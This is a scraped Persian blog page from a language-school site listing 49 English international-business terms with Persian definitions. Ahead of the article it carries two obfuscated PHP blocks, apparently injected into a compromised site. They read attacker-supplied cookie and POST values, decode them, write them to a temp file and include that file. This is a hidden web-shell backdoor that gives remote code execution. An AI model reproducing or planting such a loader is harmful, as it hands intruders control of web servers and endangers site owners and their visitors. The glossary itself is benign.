$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} اصطلاحات انگلیسی بازرگانی بین المللی | وبلاگ اتیچر
skip to Main Content

اصطلاحات انگلیسی بازرگانی بین المللی

اصطلاحات انگلیسی بازرگانی بین المللی
زمان مطالعه: ۴ دقیقه

زبان انگلیسی به عنوان زبان بین‌المللی تجارت، نقشی کلیدی در برقراری ارتباط و انجام معاملات بین تجار و بازرگانان از سراسر جهان ایفا می‌کند. آشنایی با اصطلاحات تخصصی این حوزه برای موفقیت در دنیای تجارت بین‌المللی ضروری است.

در این مقاله، به معرفی ۴۹ اصطلاح پرکاربرد در زبان انگلیسی بازرگانی بین‌المللی می‌پردازیم:

  1. Acceptance (پذیرش): موافقت با شرایط یک قرارداد یا سفارش.
  2. Advance payment (پیش‌پرداخت): پولی که قبل از انجام یا تحویل کالا یا خدمات پرداخت می‌شود.
  3. Amendment (اصلاحیه): تغییری که در یک قرارداد یا سند دیگر ایجاد می‌شود.
  4. Appeal(اعتراض): درخواست تجدید نظر در یک تصمیم یا حکم
  5. Assets (دارایی‌ها): اموال و منابع مالی یک شرکت یا فرد.
  6. Auction (حراج): فروشی که در آن بالاترین پیشنهاددهنده کالا را می‌خرد.
  7. Balance of payments (تراز پرداخت‌ها): خلاصه‌ای از معاملات مالی بین یک کشور و سایر کشورهای جهان.
  8. Bill of lading (بارنامه): سندی که نشان‌دهنده جزئیات محموله، مانند فرستنده، گیرنده، و محتوای آن است.
  9. Brand (برند): نام و تصویری که برای شناسایی و تمایز محصولات یا خدمات یک شرکت استفاده می‌شود.
  10. Broker (کارگزار) فرد یا شرکتی که بین دو یا چند طرف در یک معامله معامله می‌کند.
  11. Business plan (برنامه تجاری): سندی که استراتژی و اهداف یک شرکت را شرح می‌دهد.
  12. Capital (سرمایه): پولی که برای شروع یا راه‌اندازی یک کسب‌وکار استفاده می‌شود.
  13. Cargo (محموله): کالاهایی که از طریق حمل و نقل دریایی، هوایی یا زمینی جابجا می‌شوند.
  14. Cash flow (جریان نقدی): پولی که به داخل و خارج از یک شرکت یا فرد جریان دارد.
  15. Certificate of origin (گواهی مبدا) سندی که نشان می‌دهد یک کالا در کجا ساخته شده است.
  16. Channel of distribution (کانال توزیع) مسیری که یک محصول از طریق آن از تولیدکننده به مصرف‌کننده نهایی می‌رسد.
  17. Claim (ادعا): درخواستی برای جبران خسارت یا غرامت.
  18. Commercial invoice (فاکتور تجاری): سندی که جزئیات یک معامله، مانند کالاها، قیمت و شرایط پرداخت را نشان می‌دهد.
  19. Commodity (کالا): محصول یا ماده‌ای که در تجارت خرید و فروش می‌شود.
  20. Competition (رقابت): تلاش دو یا چند طرف برای به دست آوردن سهم بیشتر در بازار.
  21. Contract (قرارداد): توافقی بین دو یا چند طرف برای انجام یک کار یا ارائه یک کالا یا خدمات.
  22. Corporation (شرکت): نوعی سازمان تجاری که مالکیت آن متعلق به سهامداران است.
  23. Cost (هزینه): پولی که برای تولید یا خرید یک کالا یا خدمات صرف می‌شود.
  24. Customs (گمرک): سازمانی که بر واردات و صادرات کالا نظارت می‌کند.
  25. Debt (بدهی): پولی که یک فرد یا شرکت به دیگری بدهکار است.
  26. Demand (تقاضا): تمایل و توانایی مصرف‌کنندگان برای خرید یک کالا یا خدمات.
  27. Discount (تخفیف): کاهشی در قیمت یک کالا یا خدمات.
  28. Distribution (توزیع): فرآیند رساندن کالا یا خدمات از تولیدکننده به مصرف‌کننده نهایی.
  29. Dumping (دامپینگ): فروش کالا در یک کشور خارجی با قیمتی کمتر از قیمت آن در کشور مبدا.
  30. E-commerce (تجارت الکترونیکی): خرید و فروش کالا یا خدمات از طریق اینترنت.
  31. Economy (اقتصاد): سیستم اقتصادی
  32. Economy of scale (اقتصاد مقیاس): مزایایی که یک شرکت با افزایش تولید به دست می‌آورد.
  33. Embargo (تحریم): ممنوعیت تجارت با یک کشور یا شخص خاص.
  34. Employee (کارمند): فردی که برای یک شرکت یا سازمان کار می‌کند.
  35. Entrepreneur (کارآفرین): فردی که یک کسب‌وکار جدید راه‌اندازی می‌کند و اداره می‌کند.
  36. Equity (سهام): مالکیت در یک شرکت.
  37. Export (صادرات): فرآیند فرستادن کالا یا خدمات به یک کشور دیگر.
  38. Finance (تأمین مالی): فرآیند تهیه پول برای یک کسب‌وکار.
  39. Free trade (تجارت آزاد): تجارت بین کشورها بدون تعرفه یا سایر موانع تجاری.
  40. Freight (حمل و نقل): هزینه حمل و نقل کالا.
  41. Gross domestic product (GDP) (تولید ناخالص داخلی): ارزش کل کالاها و خدماتی که در یک کشور در یک دوره زمانی خاص تولید می‌شود.
  42. Guarantee (گارانتی): اطمینانی که یک فروشنده در مورد کیفیت یا عملکرد یک کالا یا خدمات می‌دهد.
  43. Import (واردات): فرآیند آوردن کالا یا خدمات از یک کشور دیگر.
  44. Insurance (بیمه): قراردادی که در صورت وقوع رویدادی خاص، مانند آتش‌سوزی یا تصادف، غرامت پرداخت می‌کند.
  45. Intellectual property (مالکیت معنوی): ایده‌ها، اختراعات و خلاقیت‌های دیگری که می‌توان از آنها برای کسب سود استفاده کرد.
  46. Inventory (موجودی کالا): کالاهایی که یک شرکت برای فروش در انبار دارد.
  47. Joint venture (سرمایه گذاری مشترک): شراکتی بین دو یا چند شرکت برای انجام یک پروژه یا کسب و کار خاص.
  48. Labor union (اتحادیه کارگری): سازمانی که از حقوق کارگران در محل کار دفاع می‌کند.
  49. Logistics (زنجیره تامین): فرآیند برنامه‌ریزی و مدیریت حمل و نقل و ذخیره‌سازی کالا.

این فقط ۴۹ مورد از اصطلاحات پرکاربرد در زبان انگلیسی بازرگانی بین‌المللی بود. برای موفقیت در این حوزه، لازم است با اصطلاحات تخصصی بیشتری آشنا شوید و بتوانید به طور روان و صحیح از آنها در مکالمات و مذاکرات تجاری خود استفاده کنید.

منابع برای یادگیری بیشتر:

  • کتاب‌های آموزشی زبان انگلیسی بازرگانی: کتاب‌های متعددی در این زمینه وجود دارند که می‌توانند به شما در یادگیری اصطلاحات و گرامر زبان انگلیسی بازرگانی کمک کنند.
  • دوره‌های آنلاین زبان انگلیسی بازرگانی: دوره‌های آنلاین متعددی نیز در این زمینه وجود دارند که می‌توانند به شما در یادگیری این اصطلاحات به صورت تعاملی و با استفاده از روش‌های مختلف آموزشی کمک کنند.
  • وب‌سایت‌ها و منابع آنلاین: وب‌سایت‌ها و منابع آنلاین متعددی نیز وجود دارند که اطلاعات و اصطلاحات مربوط به زبان انگلیسی بازرگانی را به صورت رایگان ارائه می‌دهند.

با تلاش و پشتکار می‌توانید زبان انگلیسی بازرگانی بین‌المللی را یاد بگیرید و از آن به عنوان ابزاری قدرتمند برای موفقیت در تجارت بین‌المللی استفاده کنید.

اُتیچر همراه شما در یادگیری زبان تجاری

کلاس زبان همراه شماست تا به بهترین سطح خود در زبان انگلیسی تجاری برسید. اُتیچر با برگزاری کلاس‌‌های تخصصی زبان انگلیسی مختص سازمان‌ها و شرکت‌ها به شما کمک می‌کند تا بتوانید سطح زبان تجاری خود را به شکل ویژه‌ای ارتقاء دهید.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search